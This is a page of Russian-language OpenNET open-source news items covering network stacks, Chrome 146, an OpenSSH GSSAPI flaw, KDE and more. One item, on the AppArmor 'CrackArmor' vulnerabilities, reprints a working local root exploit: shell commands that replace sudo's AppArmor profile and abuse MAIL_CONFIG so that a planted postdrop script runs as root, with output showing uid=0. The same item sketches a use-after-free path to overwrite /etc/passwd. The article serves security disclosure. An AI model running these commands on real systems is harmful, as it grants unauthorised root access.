| · | 14.03 | wolfIP и passt - легковесные стеки TCP/IP, работающие без динамического выделения памяти (17 +1) |
|
Разработчики криптографической библиотеки wolfSSL развивают TCP/IP стек wolfIP, оптимизированный для использования на встраиваемых устройствах, имеющих ограниченные ресурсы, а также для систем, работающих в режиме реального времени, и решений, требующих повышенной надёжности (Safety-Critical). Для предсказуемого потребления ресурсов в wolfIP не используется динамическое выделение памяти - все буферы и таблицы сокетов имеют фиксированный размер и настраиваются на этапе компиляции. Код проекта написан на языке Си и распространяется под лицензией GPLv3.
Проект может использоваться в качестве работающего в пользовательском пространстве TCP/IP-стека, подменяющего сетевой стек Linux, FreeBSD и macOS, а также пригодного для применения во встраиваемых системах на базе FreeRTOS, SafeRTOS, Zephyr, Azure RTOS ThreadX, NuttX, RTEMS, VxWorks и QNX. Помимо этого на базе wolfIP могут создаваться самодостаточные сетевые приложения, запускаемые поверх оборудования (bare-metal). В сочетании с библиотекой wolfSSL предоставляется поддержка TLS 1.3, что позволяет создавать компактные встраиваемые системы, поддерживающие HTTPS. Основные особенности wolfIP:
Из ограничений wolfIP отмечается возможность использования wolfIP только в роли конечного узла, способного принимать и устанавливать соединения, но не поддерживающего маршрутизацию трафика между сетевыми интерфейсами.
В дополнение можно отметить активное развитие сотрудником Red Hat похожего TCP/IP стека passt, работающего в пользовательском пространстве и не использующего динамическое выделение памяти. Проект passt развивается для организации канала связи между хост-окружением и гостевыми системами в QEMU в качестве более безопасной замены libslirp. Код passt написан на языке Си, насчитывает около 5000 строк и распространяется под лицензией GPLv2+. Из особенностей passt можно отметить: поддержка IPv6 помимо IPv4, оптимизации на базе инструкций AVX2, защита от synflood, встроенная поддержка QEMU, libvirt и Podman, пакеты для всех популярных дистрибутивов, сервис ARP proxy, минималистичные серверы DHCPD, DHCPv6 и NDP, seccomp-профиль для блокирования всех неиспользуемых системных вызовов, поддержка NAT, возможность использования в качестве прозрачной замены slirp4netns.
| ||
|
Обсуждение (17 +1) |
Тип: Программы |
| ||
| · | 14.03 | Проект TUI Studio развивает визуальную среду для проектирования консольных интерфейсов (55 –6) |
|
Открыт код TUI Studio (Visual Terminal UI Designer), среды для визуального проектирования интерфейсов пользователя, работающих в текстовом терминале. Среда позволяет в интерактивном режиме наглядно формировать интерфейс, перетаскивая готовые блоки мышью, редактируя свойства в визуальном режиме и предпросматривая результат на лету. Сформированный макет интерфейса может быть экспортирован для использования во фреймворках Ink, BubbleTea, Blessed, Textual, OpenTUI и Tview.
Проект написан на TypeScript c использованием React, Vite, Zustand, Tailwind CSS и Lucide React. Код распространяется под лицензией MIT. Из особенностей разработки отмечается, что почти весь код TUI Studio написан AI-ассистентом Claude. В TUI Studio предоставляется более 20 готовых компонентов для формирования интерфейса (кнопки, меню, таблицы, списки, индикатор прогресса, диалоги, всплывающие подсказки и т.п.) и поддерживается 8 тем оформления, а также светлый и тёмный режим, градиентные заливки, ASCII-цвета и акцентные цвета. Имеется возможность отката изменений. Доступен интерфейс для создания своих компонентов. Проекты сохраняются в формате JSON.
| ||
|
Обсуждение (55 –6) |
Тип: Программы |
| ||
| · | 14.03 | Выпуск MouseControl 1.0, открытой альтернативы Logitech Options+ (7 +8) |
|
Опубликован первый выпуск проекта MouseControl, развивающего открытую альтернативу инструментарию Logitech Options+ для настройки раскладки кнопок мышей компании Logitech. В настоящее время проект поддерживает только Bluetooth-мыши Logitech MX Master 3S, но спроектирован для обеспечения поддержки и других моделей устройств. Код проекта написан на Python с использованием QML для интерфейса и распространяется под лицензией MIT. Поддерживаются платформы Windows и macOS (поддержка Linux в списке планов).
В качестве причины разработки открытой альтернативы отмечается недовольство низкой стабильностью работы Logitech Options+ (например, последний выпуск стал потреблять 40-60% ресурсов CPU на устройствах Intel Macbook Pro) и желанием избавиться от отправки телеметрии, привязки к облачному сервису Logitech и необходимости регистрироваться на сайте Logitech. Среди возможностей MouseControl:
| ||
|
Обсуждение (7 +8) |
Тип: Программы |
| ||
| · | 14.03 | В KDE реализованы KIO S3, установка звуковых тем из файлов и режим ввода спецсимволов (14 +6) |
Опубликован очередной еженедельный отчёт о разработке KDE, в котором представлены изменения для ветки KDE Plasma 6.7, релиз которой ожидается в июне. Среди внесённых за неделю изменений:
| ||
|
Обсуждение (14 +6) |
Тип: Обобщение |
| ||
| · | 13.03 | Выпуск Chrome 146. Анонсированы официальные Linux-сборки Chrome для ARM64 (49 –2) |
|
Компания Google опубликовала релиз web-браузера Chrome 146. Одновременно доступен стабильный выпуск свободного проекта Chromium, выступающего основой Chrome. Браузер Chrome отличается от Chromium использованием логотипов Google, наличием системы отправки уведомлений в случае краха, модулями для воспроизведения защищённого от копирования видеоконтента (DRM), системой автоматической установки обновлений, постоянным включением Sandbox-изоляции, поставкой ключей к Google API и передачей RLZ-параметров при поиске. Для тех, кому необходимо больше времени на обновление, отдельно поддерживается ветка Extended Stable, сопровождаемая 8 недель. Следующий выпуск Chrome 147 запланирован на 7 апреля.
Отдельно компания Google анонсировала публикацию официальных сборок Chrome для Linux-систем на базе архитектуры ARM64. Linux-сборки для ARM64 начнут формироваться во втором квартале 2026 года и будут доступны в пакетах deb и rpm. Ранее официальные сборки Chrome для Linux публиковались только для архитектуры x86_64, а для архитектуры ARM64 были доступны только сторонние сборки Chromium, предлагаемые дистрибутивами. Официальная версия Chrome отличается поддержкой подключения к учётной записи в Google, интеграцией сервисов Google, синхронизацией данных между устройствами, упрощённой установкой дополнений из каталога Chrome Web Store и возможностью включения расширенного режима защиты. Основные изменения в Chrome 146:
Кроме нововведений и исправления ошибок в новой версии устранено 29 уязвимостей. Многие из уязвимостей выявлены в результате автоматизированного тестирования инструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity, LibFuzzer и AFL. Одной из проблем (переполнение буфера в WebML) присвоен критический уровень опасности, подразумевающий, что уязвимость позволяет обойти все уровни защиты браузера и выполнить код в системе за пределами sandbox-окружения. В рамках программы по выплате денежного вознаграждения за обнаружение уязвимостей для текущего релиза компания Google учредила 29 премий и выплатила 211 тысяч долларов США, что стало рекордом по размеру выплат в рамках одного релиза (две премии $43000, по одной премии в $36000, $33000, $11000 и $7000, по две премии в $10000 и $3000, по 4 премии в $2000 и $1000). Размер 12 вознаграждений пока не определён.
| ||
|
Обсуждение (49 –2) |
Тип: Программы |
| ||
| · | 13.03 | Уязвимости в AppArmor, позволяющие получить root-доступ в системе (90 +24) |
|
Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.
Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки. Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace). Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix. Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.
$ mkdir /tmp/postfix
$ cat > /tmp/postfix/main.cf << "EOF"
command_directory = /tmp/postfix
EOF
$ cat > /tmp/postfix/postdrop << "EOF"
#!/bin/sh
/usr/bin/id >> /tmp/postfix/pwned
EOF
$ chmod -R 0755 /tmp/postfix
$ apparmor_parser -K -o sudo.pf << "EOF"
/usr/bin/sudo {
allow file,
allow signal,
allow network,
allow capability,
deny capability setuid,
}
EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password:
$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit
$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.
| ||
|
Обсуждение (90 +24) |
Тип: Проблемы безопасности |
| ||
| · | 13.03 | Уязвимость в GSSAPI-патче к OpenSSH, удалённо эксплуатируемая на стадии до аутентификации (66 +6) |
|
В применяемом во многих дистрибутивах Linux патче gssapi.patch, добавляющем в OpenSSH поддержку обмена ключей на базе GSSAPI, выявлена уязвимость (CVE-2026-3497), приводящая к разыменованию указателя, повреждению памяти и обходу механизма разделения привилегий (Privsep). Уязвимость может быть эксплуатирована удалённо на стадии до осуществления аутентификации. Выявивший проблему исследователь продемонстрировал инициирование аварийного завершения процесса через отправку на SSH-сервер одного модифицированного сетевого пакета. Не исключается, что помимо отказа в обслуживании, существуют более опасные варианты эксплуатации уязвимости.
Примечательно, что в своё время разработчики OpenSSH отказались принимать в основной состав изменение для поддержки GSSAPI из-за сомнений в его безопасности. При этом многие дистрибутивы Linux включили данный патч в свои пакеты c OpenSSH. В обиходе встречается несколько версий GSSAPI-патча, но в большинстве из них имеется приводящая к уязвимости ошибка. Исправление пока доступно только в форме патча, изменения в котором сводятся к замене вызова функции sshpkt_disconnect() на ssh_packet_disconnect() в файле kexgsss.c. В настоящее время наличие уязвимости подтверждено в Debian и Ubuntu. В остальных дистрибутивах применение проблемного патча и его подверженность уязвимости уточняется (SUSE/openSUSE, RHEL, Gentoo, Arch, Fedora). Уязвимость проявляется только при включении в настройках опции "GSSAPIKeyExchange yes". На возможность эксплуатации также влияют опции компилятора с которыми в дистрибутивах собран пакет. Причиной возникновение уязвимости является ошибка в функции sshpkt_disconnect(), из-за которой процесс не завершался после поступления disconnect-сообщения, что позволяло атакующему на стадии согласования ключей отправить не предусмотренный логикой работы сервера тип GSSAPI-сообщения. После поступления внепланового GSSAPI-сообщения, сервер помещает его в очередь и не прерывает выполнение программы, но при этом не инициализирует переменные, определяющие параметры соединения. В дальнейшем в цикле обработки событий выполняется код, который читает неинициализированную структуру recv_tok из стека (читаются данные, оставшиеся в стеке от прошлого вызова функции), отправляет её привилегированному процессу через IPC и затем передаёт в функцию gss_release_buffer(), которая может вызвать функцию free() и освободить память для некорректного указателя, ссылающегося на случайную область памяти.
| ||
|
Обсуждение (66 +6) |
Тип: Проблемы безопасности |
| ||
| · | 13.03 | Предложение по переводу системных логов lastlog, btmp, utmp и wtmp на использование SQLite (192 +20) |
|
В списке рассылки linux-api выставлено на обсуждение предложение (RFC) заменить устаревшие реализации бинарных форматов системных журналов lastlog, btmp, utmp и wtmp на новые разделяемые библиотеки, использующие SQLite в качестве бэкенда. Инициатива направлена на решение накопившихся проблем, среди которых переполнение 32-разрядных счётчиков времени в 2038 году, отсутствие расширяемости, низкая производительность запросов и отсутствие атомарности при записи.
В настоящее время для хранения данных о сеансах и попытках аутентификации в Linux используются следующие бинарные файлы, имеющие фиксированную структуру:
Формат данных файлов был разработан несколько десятилетий назад и имеет ряд фундаментальных ограничений:
Автор RFC предлагает полностью отказаться от бинарных форматов в пользу специализированных разделяемых библиотек, использующих SQLite. Для каждого типа журналов создаётся отдельная библиотека с единообразным C-интерфейсом: liblastlog2, libbtmp2, libutmp2 и libwtmp2. Все библиотеки работают с БД, схема которых включает 64-разрядные временные метки (тип INTEGER) и индексы по пользователю и времени. Имеется возможность добавления новых полей без нарушения совместимости (через ALTER TABLE). Среди доводов в пользу использования SQLite упоминается использование 64-разрядного типа INTEGER для хранения эпохального времени, задействование индексов для снижения ввода/вывода за счёт выборочного обращения к записями вместо полного сканирования, возможность добавления новых полей без изменения существующих записей, поддержка ACID-транзакций, режим WAL (Write-Ahead Logging) для конкурентного доступа без блокировок, проверенная надёжность работы SQLite. Для обеспечения плавного перехода предлагается стратегия "двойной записи" (dual-write):
Вопросы, выставленные для дополнительного обсуждения:
| ||
| · | 12.03 | В 2025 году Google выплатил 17.1 млн долларов вознаграждений за выявление уязвимостей (36 +6) |
|
Компания Google подвела итоги программы выплаты вознаграждений за выявление уязвимостей в Chrome, Android, приложениях Google Play, продуктах Google и различном открытом ПО. Общая сумма выплаченных в 2025 году вознаграждений составила 17.1 млн долларов, что на $5.3 млн больше, чем в 2024 году и на $7.1 млн больше, чем в 2023 году. Вознаграждения получили 747 исследователей (в 2024 году - 660, в 2023 - 632). С 2010 года суммарный размер выплат составил 81.6 млн долларов.
Из потраченной в 2025 году суммы $2.9 млн (в 2024 году $3.3 млн, в 2023 - $3.4 млн) выплачено за уязвимости в Android. За информацию об уязвимостях в браузере Chrome выплачено 100 премий на общую сумму $3.7 млн (в 2024 году $2.1 млн, в 2023 - $3.5 млн). За уязвимости в открытых проектах выплачены 62 премии на сумму 327 тысяч долларов. За уязвимости в облачных продуктах Google выплачено 143 премии на сумму $3.5 млн. За уязвимости в AI-продуктах выплачено 890 тысяч долларов. Размер самой большой единичной выплаты составил 250 тысяч долларов за обнаружение логической ошибки в IPC-механизме Chrome, позволившей создать эксплоит для выполнения кода в обход применяемой в браузере sandbox-изоляции.
| ||
|
Обсуждение (36 +6) |
Тип: Программы |
| ||
| · | 12.03 | Главный разработчик Lutris прокомментировал появление в проекте кода, созданного через AI (208 –1) |
|
Основатель и основной разработчик игровой платформы Lutris, предоставляющей инструменты для упрощения установки, настройки и управления играми в Linux, прокомментировал принятие в кодовую базу проекта изменений, сгенерированных большими языковыми моделями. Разработчик заявил, что использование AI является проблемой только если человек не знает, что делает, или использует AI-инструменты низкого качества.
По словам создателя Lutris, несколько месяцев назад AI-инструментарий Claude стал генерировать вполне достойный код и благодаря AI удалось сделать всё, что было упущено в прошлом году из-за проблем со здоровьем и депрессии. Он также заявил, что предполагал возможный негатив в отношении появления изменений, подготовленных с использованием AI, и поэтому несколько дней назад удалил упоминание о соавторстве Claude из коммитов и пожелал удачи в попытках определить, что было сгенерировано AI, а что - нет.
| ||
| · | 12.03 | Энтузиасты создали do-нотацию для C++ (115 +12) ↻ |
Энтузиасты написали собственный DSL на макросах, который работает как do-нотация из функциональных языков. Используются продвинутые возможности препроцессора. В представленном проекте реализована новая техника для парсинга DSL, что может поспособствовать созданию дальнейших DSL на препроцессоре C и C++. Код в репозитории написан на C++23 и открыт под лицензией MIT, а сама техника может быть использована и просто в си-препроцессоре.
// Без DSL:
auto result = bind(mx, [&](auto x) {
return bind(my, [&](auto y) {
return make_value(x, y);
});
});
// С DSL:
auto result = DO(
LET x IS(mx);
LET y IS(my);
return make_value(x, y);
);
Дополнение: Принцип работы DSL в разрезании потока на токены. "LET name IS(value)" раскрывается в "), _LET_IS(name, (value)), _CODE(". Таким образом, весь код оказывается в блоках "_CODE", а "LET IS" и прочее выходят как метки. Дальше нужно лишь пройтись по всем меткам и обработать. В DSL поддерживаются циклы (WHILE, BREAK, CONTINUE) и ветвления (IF). Циклы работают через рекурсию. Внутри таких блоков кода можно использовать другие блоки (IF, WHILE, LET IS).
| ||
| · | 12.03 | Компания Igalia представила Moonforge, дистрибутив для встраиваемых систем (11 +8) |
|
Компания Igalia, известная своим участием в разработке таких свободных проектов, как GNOME, GTK, WebKitGTK, Epiphany, Maemo, GStreamer, Wine, Mesa и freedesktop.org, представила проект Moonforge, упрощающий создание и сопровождение собственных Linux-дистрибутивов для различных устройств и встраиваемых систем. Начинка дистрибутива формируется на основе сборочного инструментария и метаданных пакетов от проектов OpenEmbedded и Yocto. Специфичные для проекта наработки распространяются под лицензией MIT.
Moonforge предоставляет разработчикам и системным интеграторам каркас, набор файлов конфигурации и коллекцию компонентов для формирования атомарно обновляемых системных образов, основанных на применении уже проверенных и распространённых в индустрии технологий, таких как yocto, bitbake и kas. Для сформированных образов поддерживается упрощённый процесс установки обновлений и обеспечивается длительный цикл сопровождения. Основная цель проекта - предоставить разработчикам встраиваемых систем удобный инструментарий, дающий возможность сосредоточиться на развитии специфичной для их продукта функциональности и не тратить время на задачи, связанные с формированием и поддержанием дистрибутива. Системный образ компонуется из набора готовых модулей Yocto. Каждый модуль отвечает за определённую возможность или поддержку конкретной целевой аппаратной платформы. Например, предлагаются модули для поддержки Docker, QEMU или Podman, управления обновлениями через RAUC, формирования графического интерфейса на базе композитного сервера Weston, запуска браузерного интерфейса на базе Webkit для интернет-киосков и сборки для плат Raspberri Pi 4 и 5. Поддерживается три канала распространения релизов: stable (стабильная LTS-ветка), next (ветка, в которой развивается следующий LTS-релиз) и main (экспериментальная ветка, в которой ведётся разработка). Каждая ветка привязана к своей версии набора компонентов Yocto. Стабильная ветка обновляется раз в месяц и соответствует LTS-релизам Yocto. Обновления доставляются в режиме OTA (Over-The-Air) с использованием инструментария Mender и устанавливаются атомарно через замену целиком всей системы. На накопителе создаётся два идентичных корневых раздела - активный и пассивный. Новое обновление устанавливается в пассивный раздел, никак не влияя на работу активного. После перезагрузки разделы меняются местами - раздел с новым обновлением становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. Если после обновления что-то пошло не так, осуществляется откат на прошлый вариант системы. Для создания системных образов используется инструментарий BitBake, а для формирования конфигурации и обеспечения воспроизводимых сборок - kas. Сборки, обновления, отчёты об уязвимостях и метаданные SBOM (Software Bill of Materials) автоматически собираются и публикуются с использованием систем непрерывной интеграции и непрерывного развёртывания (CI/CD). Сборочная инфраструктура на базе Moonforge может быть развёрнута как на локальных серверах, так и в публичных или приватных облачных окружениях. Для прозрачности и предсказуемости процессов создания производных продуктов в дистрибутиве применяется жёсткое разделение между upstream- и downstream-компонентами, позволяющее разработчикам при необходимости добавлять дополнительную функциональность поверх базовой начинки. Конфигурация определяется в декларативном представлении, используя формат YAML, и охватывает такие области как подключение внешних репозиториев, активация модулей Yocto, управление зависимостями между компонентами дистрибутива, применение дополнительных патчей и изменение применяемых по умолчанию системных настроек.
| ||
|
Обсуждение (11 +8) |
Тип: Программы |
Интересно
| ||
| · | 12.03 | В ядрах для платформы Android включена оптимизация AutoFDO (50 +18) |
|
Компания Google подвела итоги включения оптимизации AutoFDO (Auto-Feedback-Directed Optimization) при сборке ядра Linux для платформы Android. AutoFDO использует результаты профилирования c информацией о частоте выполнения различных участков кода для повышения производительности часто выполняемых операций. Оптимизация AutoFDO задействована при сборке ядра Linux
6.12 для Android 16 и
6.6 для Android 15, и также будет включена при сборке ядра 6.18 для Android 17. Профили производительности для AutoFDO сформированы на основе запуска 100 популярных приложений из набора C-Suite (Android App Compatibility Test Suite) и симуляции взаимодействия пользователя с этими приложениями.
Ранее оптимизация AutoFDO уже применялась в Android при сборке системных библиотек и исполняемых файлов в пользовательском пространстве, и в среднем позволила ускорить запуск программ на 4% и сократить время загрузки на 1%. При этом оптимизация AutoFDO до недавних пор не применялась для ядра Linux, на выполнение компонентов которого по статистике Google в Android тратится 40% процессорного времени. В проведённых тестах включение AutoFDO для ядра привело к сокращению времени загрузки на 2.1%, ускорению первого запуска программ на 4.3%, повышению эффективности системных вызовов на 9.3%, сокращению времени выполнения mmap-транзакций Binder на 12.3%, HwBinder на 20% и Binder RPC на 21.7%. 
| ||
|
Обсуждение (50 +18) |
Тип: К сведению |
| ||
| · | 12.03 | Выпуск D7VK 1.5 с добавлением поддержки Direct3D 3 (67 +29) |
|
Опубликован выпуск проекта D7VK 1.5, развивающего реализацию графических API Direct3D 3, 5, 6 и 7, предложенных компанией Microsoft в 1996, 1997, 1998 и 1999 годах. D7VK работает через трансляцию вызовов в API Vulkan и позволяет при помощи Wine запускать в Linux ретро игры, завязанные на API Direct3D 3, 5, 6 и 7. Код проекта написан на языке C++ и распространяется под лицензией Zlib. В качестве основы при разработке использован код бэкенда d3d9 от проекта DXVK - D7VK преобразует API Direct3D 3, 5, 6 и 7 в вызовы Direct3D 9, которые затем транслируются в API Vulkan. Разработчик не намерен добиваться включения D7VK в состав DXVK, как это было с реализациями Direct3D 8 и Direct3D 9 поверх Vulkan.
В новом выпуске обеспечена экспериментальная поддержка графического API Direct3D 3 в дополнение к ранее доступной поддержке Direct3D 5, 6 и 7. Что касается, других версий Direct3D, то версия DirectX 1 не включала 3D-компоненты. API Direct3D появился в версии DirectX 2, которая по большому счёту аналогична DirectX 3 и взаимозаменяема. Версия DirectX 4 не была выпущена Microsoft и осталась в состоянии прототипа (следом за DirectX 3 сразу вышел DirectX 5). Поддержка Direct3D 8, 9, 10 и 11 предоставляется отдельным проектом DXVK. В D7VK 1.5 также проведена работа по устранению ошибок и улучшению кода, предназначенного для обеспечения совместимости с играми, использующими Direct3D 5, 6 и 7. Реализована поддержка буферов исполнения (Execute buffers) для передачи команд GPU, возможность записи в кадровый буфер (Back buffer) и буфер глубины (Depth buffer), а также поддержка старого метода потоковой передачи вершинных буферов с обрамлением командами Begin и End. Добавлена поддержка игр:
| ||
|
Обсуждение (67 +29) |
Тип: Программы |
| ||
| · | 11.03 | Предложены патчи, убирающие возможность сборки IPv6 в форме модуля ядра (146 +41) |
|
Инженер из компании SUSE предложил для включения в ветку linux-next, на основе которой формируется функциональность ядра Linux 7.1, серию патчей, убирающих возможность сборки стека IPv6 в форме модуля ядра. В качестве причин упоминается желание избавиться от усложнений и упростить сопровождение. Возможность сборки IPv6 в форме модуля остаётся в ядре в основном по историческим причинам и в современных дистрибутивах не применяется на практике (IPv6 либо встраивают в ядро, либо полностью отключают).
Суть проблемы в том, что когда ядро поддерживает сборку IPv6 модулем ядра (CONFIG_IPV6=m), множество подсистем вынуждены добавлять бесполезные обработчики на случай выгрузки модуля IPv6. Поэтому предлагается ограничить выбор опциями для встраивания IPv6 в ядро (CONFIG_IPV6=y) и полного отключения IPv6 (CONFIG_IPV6=n), что избавит сетевую подсистему, BPF, Netfilter и некоторые драйверы от необходимости обработки выгрузки модуля.
| ||
| Следующая страница (раньше) >> | ||
